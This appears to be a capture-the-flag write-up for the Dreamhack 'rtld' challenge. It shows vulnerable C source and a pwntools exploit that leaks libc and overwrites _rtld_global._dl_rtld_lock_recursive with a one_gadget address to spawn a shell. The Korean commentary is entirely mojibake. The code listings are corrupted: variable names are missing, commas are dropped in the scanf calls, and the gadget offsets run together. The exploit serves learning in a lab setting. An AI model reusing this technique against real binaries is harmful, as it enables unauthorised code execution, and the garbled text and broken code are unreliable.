Jastes 2022. 11. 13. 23:00

์ฐธ๊ณ ๋กœ rtld๋Š” return to LD library ๋ผ๊ณ  ์ถ”์ธกํ•˜์‹œ๋Š” ๋ถ„์ด ์žˆ์œผ์‹œ๋”๋ผ๊ณ ์š”
์ €๋„ ์–ด๋Š์ •๋„ ๊ทธ๋Ÿฌ์ง€ ์•Š์„๊นŒ?(์—ฌ๊ธฐ ๋กœ๋˜๋ฆฌ์•ˆ์ฒ˜๋Ÿผ ใ…Ž)


rtld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// gcc -o rtld rtld.c -fPIC -pie
 
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
void get_shell() {
    system("/bin/sh");
}
 
int main()
{
    long addr;
    long value; 
 
    initialize();
 
    printf("stdout: %p\n", stdout);
 
    printf("addr: ");
    scanf("%ld"&addr);
 
    printf("value: ");
    scanf("%ld"&value);
 
    *(long *)addr = value;
    return 0;
}
 
cs

stdout์ด ์ถœ๋ ฅ๋˜๋‹ˆ๊นŒ lib_base๋ฅผ ๊ตฌํ•˜๋ฉฐ, ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
get_shell()ํ•จ์ˆ˜๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ..

stdout์ด ์ถœ๋ ฅ๋˜๋‹ˆ๊นŒ lib_base๋ฅผ ๊ตฌํ•˜๋ฉฐ, ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ ์ทจ์•ฝ์ (์ „์— ํ–ˆ๋˜)์ด ์กด์žฌ
get_shell() ํ•จ์ˆ˜๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ NX๋„ ์šฐํšŒ๋˜๊ณ  ๋‚˜๋จธ์ง€ ์ทจ์•ฝ์ ์€ ์ธ์ž๋กœ ํ•˜๋‹ˆ๊นŒ ใ…‡ใ…‹

์ฆ‰, ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ ์ทจ์•ฝ์ ์„ ์ด์šฉ dl_rtld_lock_recursive๋ฅผ
get_shell()๋กœ ๋ฎ์–ด ์‰˜์„ ๋”ฐ๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค.
์•„๋‹ˆ๋ฉด Partial RELRO๋‹ˆ๊นŒ GOT Overwrite ํ•ด๋„ ๋˜๊ฒ ๋„ค์š”

  • _rtld_global._dl_rtld_lock_recursive : func addr
  • _rtld_global._dl_load_lock : fun avgs

Exploit ์ฝ”๋“œ

1. lib_base & ld_base leak | dl_load_lock & dl_rtld_lock_recursive

์œ„ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด libc.so.6(docker์—์„œ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฑฐ ๊ฐ™์€๋ฐ ๋„์ปค ํ™˜๊ฒฝ ๊ตฌ์ถ• ๋ฐ ๊ธฐํƒ€ ๊ณต๋ถ€.. ใ… )
environ ์‹ฌ๋ณผ์„ ์ฐพ๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, __environ์ด๋ผ๋Š” ์ด๋ฆ„์˜ ์ „์—ญ ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
์ด๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ execve ๊ณ„์—ด์˜ ํ•จ์ˆ˜์™€ getenv ๋“ฑ ํ™˜๊ฒฝ๋ณ€์ˆ˜์™€ ๊ด€๋ จ๋œ ํ•จ์ˆ˜ ์ฐธ์กฐ ๋ณ€์ˆ˜๋กœ
๊ทธ๋ ‡๋‹ค๋ฉด, ์•ž์„œ ์ปดํŒŒ์ผ ํ•œ ์˜ˆ์ œ๋ฅผ ๋””๋ฒ„๊น…ํ•˜์—ฌ ํ•ด๋‹น ํฌ์ธํ„ฐ์— ์–ด๋–ค ์ฃผ์†Œ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

ํ™˜๊ฒฝ ์ด์Šˆ๋กœ.. ๊ตฌ๊ธ€๋ง ์ข€ ํ–ˆ์Šต๋‹ˆ๋‹ค ใ… 

์ด _rtld_global._dl_rtld_recursive์—๋Š” libc ์ฃผ์†Œ๊ฐ€ ์ ํ˜€์žˆ๋Š”๋ฐ, ์ด ์ฃผ์†Œ๋ฅผ one_gadget์„ ํ•œ๋‹ค๋ฉด
RET_Overwrite๊ฐ€ ๋˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  libc_base์™€ ld_base์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ•˜๋ฉด..

env issue๋กœ ์‹ค์ œ๋ก  3973120

๊ทธ๊ฒƒ์„ ํ† ๋Œ€๋กœ one-gadget์œผ๋กœ ์ต์Šค๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค(๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋„ ์žˆ์„๊ฑด๋ฐ.. rtld์˜ ํ˜•์‹์œผ๋กœ)
ํ•˜์ง€๋งŒ ๋กœ๋˜๋ฆฌ์•ˆ์œผ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ๋ณ€๋™์ด ์žˆ๋‹ค๊ณ  ๋‹ค๋“ค ๊ทธ๋Ÿฌ์…”์„œ ๋ฐ”๋กœ one-gadget์œผ๋กœ ใ„ฑ

์•„๋ฌด๊ฑฐ๋‚˜ ํ•˜๋‚˜ ์‚ฌ์šฉํ•˜์ง€์š”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
= remote("host3.dreamhack.games"11820)
= ELF("./rtld", checksec=False)
libc = ELF("libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
 
one_gadget = [0x452160x4526a0xf02a40xf1147]
 
#context.log_level = 'debug'
 
 
p.recvuntil("stdout: ")
 
stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000
 
 
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3848
 
 
one = libc_base + one_gadget[3]
 
p.sendlineafter("addr: "str(dl_rtld_lock_recursive))
p.sendlineafter("value: "str(one))
 
p.interactive()
 
cs

์ฐธ๊ณ ๋กœ ์ €๋Š” ์ž˜ ์•ˆ๋˜์„œ Dreamhack Q&A๋ฅผ ์‚ดํŽด๋ณด๋˜ ์ค‘.. ์ €์—๊ฒŒ ๋ฌด์ง€ ๋„์›€๋˜๋Š”..
์ €์ฒ˜๋Ÿผ ๊ตฌ์กฐ์ฒด์˜ ์˜คํ”„์…‹ ๋“ฑ์ด ์•ˆ๋˜๋Š” ํ™˜๊ฒฝ์—์„  ๊ฐ•์ถ”!(์•„๋‹˜ ๋„์ปค๋กœ ํ™˜๊ฒฝ ๊ตฌ์ถ•์„ ํ•ด์•ผํ•˜๋Š”๋ฐ)

 

ld base์™€ ํ•ด๋‹น ๋ฒ„์ „ ld์—์„œ์˜ ๊ตฌ์กฐ์ฒด ์˜คํ”„์…‹

๋ฌธ์ œ์— libc.so.6 ํŒŒ์ผ์€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋‚˜, ldํŒŒ์ผ์€ ๋”ฐ๋กœํฌํ•จ๋˜์–ด์žˆ์ง€ ์•Š์•˜์–ด์„œ so ํŒŒ์ผ์˜ ์˜คํ”„์…‹๋งŒ ๊ฐ€์ง€๊ณ  ํ’€์ด๊ฐ€ ๊ฐ€๋Šฅํ•œ ์ค„ ์•Œ๊ณ  ์šฐ๋ถ„ํˆฌ 18.04 ์—์„œ ํ’€์ด๋ฅผ ์ง„ํ–‰ํ•˜๋‹ค …

dreamhack.io

์œ„ ํˆด์„ ์‚ฌ์šฉํ•ด ldd์˜ ๋งํ‚น์„ ํŒจ์น˜ํ•˜๊ธฐ
 

patchelf

A small utility to modify the dynamic linker and RPATH of ELF executables.

pypi.org

 

 

GitHub - NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables

A small utility to modify the dynamic linker and RPATH of ELF executables - GitHub - NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables

github.com

ํ•ด๋‹น ํŒจ์น˜ํ•œ lib์˜ ํŒŒ์ผ

...

์ด ๋ถ€๋ถ„์€ ์†”์งํžˆ ์ข€ ์ดํ•ด๊ฐ€ ์ž˜.. ์‹ค์Šต๋„ ์•ˆ๋˜์„œ ๋‹ค์‹œ ํ•œ ๋ฒˆ ๊ผญ ์‚ดํŽด๋ด์•ผ๊ฒ ๋„ค์š”


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€